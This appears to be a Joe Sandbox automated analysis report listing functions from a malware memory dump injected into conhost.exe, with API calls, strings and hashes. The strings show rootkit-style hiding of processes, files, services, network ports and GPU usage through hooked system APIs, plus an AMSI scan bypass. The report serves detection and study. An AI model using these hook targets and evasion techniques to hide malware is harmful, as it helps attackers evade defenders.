String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: 4f388541a52bfb4f60703e2e5d8c27f2900f96190d1984ecb4aa32e07d28edf5
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: 6CB16D72218AA19AEF688F25E4807EAB3E4F745B84F445016EF09537A5FB35CDA0F340

Function 0000014ECB4A81C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000014ECB4A81DC
RtlCaptureContext.NTDLL ref: 0000014ECB4A8209
RtlLookupFunctionEntry.NTDLL ref: 0000014ECB4A8223
RtlVirtualUnwind.NTDLL ref: 0000014ECB4A8264
IsDebuggerPresent.KERNEL32 ref: 0000014ECB4A82B8
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014ECB4A82D9
UnhandledExceptionFilter.KERNEL32 ref: 0000014ECB4A82E4

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 6fbefcaf485cb9dc5fe418880bbf24c2b2df2cab9ba06b1de959446b6214dfdb
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: 60310C72209B808AEB649F64F8907ED73A4F784744F44442ADB4E47BA9EF38C659D710

Function 0000014ECB4AD6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 0000014ECB4AD74D
RtlLookupFunctionEntry.NTDLL ref: 0000014ECB4AD765
RtlVirtualUnwind.NTDLL ref: 0000014ECB4AD7A0
IsDebuggerPresent.KERNEL32 ref: 0000014ECB4AD7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 0000014ECB4AD7E3
UnhandledExceptionFilter.KERNEL32 ref: 0000014ECB4AD7EE

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: db69a238a6d7b3f22910f8c31ec01d1e7794a9ea190c68231ef74ad1bf075dc8
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 09312C36218F908AEF649F25E8803DE77A4F788754F540115EB9D43BA8EF38C155CB00

Function 0000014ECB4A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000014ECB4A1633
HeapAlloc.KERNEL32 ref: 0000014ECB4A1642

Part of subcall function 0000014ECB4A1268: GetProcessHeap.KERNEL32 ref: 0000014ECB4A126E
Part of subcall function 0000014ECB4A1268: HeapAlloc.KERNEL32 ref: 0000014ECB4A127D
Part of subcall function 0000014ECB4A1268: GetProcessHeap.KERNEL32 ref: 0000014ECB4A1297
Part of subcall function 0000014ECB4A1268: HeapAlloc.KERNEL32 ref: 0000014ECB4A12A8

Part of subcall function 0000014ECB4A1000: GetProcessHeap.KERNEL32 ref: 0000014ECB4A1006
Part of subcall function 0000014ECB4A1000: HeapAlloc.KERNEL32 ref: 0000014ECB4A1015
Part of subcall function 0000014ECB4A1000: GetProcessHeap.KERNEL32 ref: 0000014ECB4A1028
Part of subcall function 0000014ECB4A1000: HeapAlloc.KERNEL32 ref: 0000014ECB4A1037

RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A16B2
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A16DF
RegCloseKey.ADVAPI32 ref: 0000014ECB4A16F9
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1719
RegCloseKey.ADVAPI32 ref: 0000014ECB4A1734
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1754
RegCloseKey.ADVAPI32 ref: 0000014ECB4A176F
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A178F
RegCloseKey.ADVAPI32 ref: 0000014ECB4A17AA
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A17CA
RegCloseKey.ADVAPI32 ref: 0000014ECB4A17E5
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1805
RegCloseKey.ADVAPI32 ref: 0000014ECB4A1820
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A1840
RegCloseKey.ADVAPI32 ref: 0000014ECB4A185B
RegOpenKeyExW.ADVAPI32 ref: 0000014ECB4A187B
RegCloseKey.ADVAPI32 ref: 0000014ECB4A1896
RegCloseKey.ADVAPI32 ref: 0000014ECB4A18A0

Part of subcall function 0000014ECB4A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 0000014ECB4A1319
Part of subcall function 0000014ECB4A12BC: GetProcessHeap.KERNEL32 ref: 0000014ECB4A1327
Part of subcall function 0000014ECB4A12BC: HeapAlloc.KERNEL32 ref: 0000014ECB4A1338
Part of subcall function 0000014ECB4A12BC: RegEnumValueW.ADVAPI32 ref: 0000014ECB4A1397
Part of subcall function 0000014ECB4A12BC: GetProcessHeap.KERNEL32 ref: 0000014ECB4A13DF
Part of subcall function 0000014ECB4A12BC: HeapAlloc.KERNEL32 ref: 0000014ECB4A13ED
Part of subcall function 0000014ECB4A12BC: GetProcessHeap.KERNEL32 ref: 0000014ECB4A140A
Part of subcall function 0000014ECB4A12BC: HeapFree.KERNEL32 ref: 0000014ECB4A1418
Part of subcall function 0000014ECB4A12BC: lstrlenW.KERNEL32 ref: 0000014ECB4A1421
Part of subcall function 0000014ECB4A12BC: GetProcessHeap.KERNEL32 ref: 0000014ECB4A142F
Part of subcall function 0000014ECB4A12BC: HeapAlloc.KERNEL32 ref: 0000014ECB4A143D

Strings

paths, xrefs: 0000014ECB4A1788
process_names, xrefs: 0000014ECB4A174D
tcp_local, xrefs: 0000014ECB4A17FE
pid, xrefs: 0000014ECB4A1712
service_names, xrefs: 0000014ECB4A17C3
tcp_remote, xrefs: 0000014ECB4A1839
startup, xrefs: 0000014ECB4A16D5
SOFTWARE\dialerconfig, xrefs: 0000014ECB4A1692
udp, xrefs: 0000014ECB4A1874

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: 5a9201235556b3bf91605209e6aa2cd61929f2c0b5d065fa27b5caa8b2eba09a
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 6871C236218E248AEF109F76F89169963A4FB99B88F401121DB4E97B79EF38C454E740

Function 0000014ECB4A1D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 0000014ECB4A1D4B

Part of subcall function 0000014ECB4A20C4: GetModuleHandleA.KERNEL32(?,?,?,0000014ECB4A1D7D), ref: 0000014ECB4A20DC
Part of subcall function 0000014ECB4A20C4: GetProcAddress.KERNEL32(?,?,?,0000014ECB4A1D7D), ref: 0000014ECB4A20ED

Part of subcall function 0000014ECB4A5F60: GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A5F9B

Strings

NtQueryDirectoryFile, xrefs: 0000014ECB4A1DAB
NtEnumerateValueKey, xrefs: 0000014ECB4A1E02
pdh.dll, xrefs: 0000014ECB4A1EA3, 0000014ECB4A1EC4
NtResumeThread, xrefs: 0000014ECB4A1D8E
ntdll.dll, xrefs: 0000014ECB4A1D59
NtQuerySystemInformation, xrefs: 0000014ECB4A1D71
EnumServicesStatusExW, xrefs: 0000014ECB4A1E3D, 0000014ECB4A1E5E
sechost.dll, xrefs: 0000014ECB4A1E65
NtEnumerateKey, xrefs: 0000014ECB4A1DE5
NtDeviceIoControlFile, xrefs: 0000014ECB4A1E82
PdhGetFormattedCounterArrayW, xrefs: 0000014ECB4A1EBD
AmsiScanBuffer, xrefs: 0000014ECB4A1EDE
NtQueryDirectoryFileEx, xrefs: 0000014ECB4A1DC8
amsi.dll, xrefs: 0000014ECB4A1EE5
EnumServiceGroupW, xrefs: 0000014ECB4A1E1C
PdhGetRawCounterArrayW, xrefs: 0000014ECB4A1E9C
advapi32.dll, xrefs: 0000014ECB4A1E23, 0000014ECB4A1E44

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 47aeeedf48bfeabc12c2f3cd8babb1d97f81e015cc53dc3096e08498f736ffd6
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 2B417FB420D96AA8EE08EF64F8D16D433A1B754744F8040A39B19531B6FFB8C66EF350

Function 0000014ECB4A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014ECB4A1319
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1327
HeapAlloc.KERNEL32 ref: 0000014ECB4A1338
RegEnumValueW.ADVAPI32 ref: 0000014ECB4A1397

Part of subcall function 0000014ECB4A152C: StrCmpIW.SHLWAPI ref: 0000014ECB4A155D

GetProcessHeap.KERNEL32 ref: 0000014ECB4A13DF
HeapAlloc.KERNEL32 ref: 0000014ECB4A13ED
GetProcessHeap.KERNEL32 ref: 0000014ECB4A140A
HeapFree.KERNEL32 ref: 0000014ECB4A1418
lstrlenW.KERNEL32 ref: 0000014ECB4A1421
GetProcessHeap.KERNEL32 ref: 0000014ECB4A142F
HeapAlloc.KERNEL32 ref: 0000014ECB4A143D
StrCpyW.SHLWAPI ref: 0000014ECB4A145F
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1476
HeapFree.KERNEL32 ref: 0000014ECB4A1484

Strings

d, xrefs: 0000014ECB4A135A

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 53702bbeb9002f5d204152d610ce38fcce220dba3340c0a0fb60f77a1ede8992
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 33512C32608B948AEB54CF66F4883AAB7E5F789B99F044124DB4947768EF3CC059DB00

Function 0000014ECB476D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014ECB476D68
__scrt_acquire_startup_lock.LIBCMT ref: 0000014ECB476DBA
_RTC_Initialize.LIBCMT ref: 0000014ECB476DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014ECB476E0E
__scrt_release_startup_lock.LIBCMT ref: 0000014ECB476E39

Strings

restrict(, xrefs: 0000014ECB476E17
ned, xrefs: 0000014ECB476E1E
destructor', xrefs: 0000014ECB476F69, 0000014ECB476FE2, 0000014ECB47701C

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 372f633f45d8badd2f531e4df6c139f49c394bd33ab720f9eae796c1a42d35ba
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 9D81DF3171C3418EFE60AB69B8C13D922E5BBA5784F844025EB48A77B6FB39C845F750

Function 0000014ECB4AD258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD267
FlsGetValue.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD27C
FlsSetValue.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD29D
FlsSetValue.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD2CA
FlsSetValue.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD2DB
FlsSetValue.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD2EC
SetLastError.KERNEL32(?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD33D
FlsSetValue.KERNEL32(?,?,00000001,0000014ECB4AF0FC,?,?,?,?,0000014ECB4AC3CF,?,?,?,?,?,0000014ECB4A7EE0), ref: 0000014ECB4AD35C

Part of subcall function 0000014ECB4ADAFC: HeapAlloc.KERNEL32(?,?,00000000,0000014ECB4AD432,?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4ADB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD384

Part of subcall function 0000014ECB4ADB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,0000014ECB4A643A), ref: 0000014ECB4ADB8A
Part of subcall function 0000014ECB4ADB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,0000014ECB4A643A), ref: 0000014ECB4ADB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,0000014ECB4B0E9B,?,?,?,0000014ECB4B088C,?,?,?,0000014ECB4ACC7F), ref: 0000014ECB4AD3A6

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 3afad122a42d26c95b1bcd141777bf0a42c8ab63ae0f1ccf47be5cce483c4839
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 44414C7424D2744EFEA8A72279D63E922C27B457B0F140724AB36466F6FF28C421A301

Function 0000014ECB4A2FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000014ECB4A3001
GetProcessHeap.KERNEL32 ref: 0000014ECB4A3016
HeapAlloc.KERNEL32 ref: 0000014ECB4A3024
PdhGetCounterInfoW.PDH ref: 0000014ECB4A303A
StrCmpW.SHLWAPI ref: 0000014ECB4A304F

Part of subcall function 0000014ECB4A3554: StrCmpNW.SHLWAPI ref: 0000014ECB4A3576
Part of subcall function 0000014ECB4A3554: StrStrW.SHLWAPI ref: 0000014ECB4A3594
Part of subcall function 0000014ECB4A3554: StrToIntW.SHLWAPI ref: 0000014ECB4A35BB

GetProcessHeap.KERNEL32 ref: 0000014ECB4A308C
HeapFree.KERNEL32 ref: 0000014ECB4A309A

Strings

\GPU Engine(*)\Running Time, xrefs: 0000014ECB4A3048

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: 34e1cc155d4cb08fd5a148987c74d6271869945df2a0cc5037f88649c2e20446
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: FB318E32A08A508AFF20CF22B88479AF3E1F798B95F4441259F4993A79FF38C4659740

Function 0000014ECB4A30BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000014ECB4A311A
GetProcessHeap.KERNEL32 ref: 0000014ECB4A312B
HeapAlloc.KERNEL32 ref: 0000014ECB4A3139
PdhGetCounterInfoW.PDH ref: 0000014ECB4A314F
StrCmpW.SHLWAPI ref: 0000014ECB4A3164

Part of subcall function 0000014ECB4A3554: StrCmpNW.SHLWAPI ref: 0000014ECB4A3576
Part of subcall function 0000014ECB4A3554: StrStrW.SHLWAPI ref: 0000014ECB4A3594
Part of subcall function 0000014ECB4A3554: StrToIntW.SHLWAPI ref: 0000014ECB4A35BB

GetProcessHeap.KERNEL32 ref: 0000014ECB4A3191
HeapFree.KERNEL32 ref: 0000014ECB4A319F

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 0000014ECB4A315D

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: 903c192c688e44d136104d3ea218b798d2fd8d8e175bf2d5a5ef689d170a7c7e
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: F2314A72618B518AFB50DF26B8C47AAA7E2F784F85F044125DF8A83735FF38C4559600

Function 0000014ECB479D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014ECB479DD1

Part of subcall function 0000014ECB47AC44: __GetUnwindTryBlock.LIBCMT ref: 0000014ECB47AC87
Part of subcall function 0000014ECB47AC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014ECB47ACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014ECB479EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014ECB47A0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014ECB47A20A

Strings

csm, xrefs: 0000014ECB479ECC
csm, xrefs: 0000014ECB479DEB
csm, xrefs: 0000014ECB479E52

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: 7a8466d11ce0ddfd2e321b9a51e282c6be336e6fc59198e4f91367a93320ea3f
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: 71E16972608B809EEF60DF65A4803ED77E0F755B98F100515EF89A7BAAEB34C580E741

Function 0000014ECB4AA974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000014ECB4AA9D1

Part of subcall function 0000014ECB4AB844: __GetUnwindTryBlock.LIBCMT ref: 0000014ECB4AB887
Part of subcall function 0000014ECB4AB844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 0000014ECB4AB8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 0000014ECB4AAAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 0000014ECB4AACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 0000014ECB4AAE0A

Strings

csm, xrefs: 0000014ECB4AA9EB
csm, xrefs: 0000014ECB4AAA52
csm, xrefs: 0000014ECB4AAACC

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: db7c553b826593c7f29c7f0ee457e4f6214099b3048776279730682abb0f25df
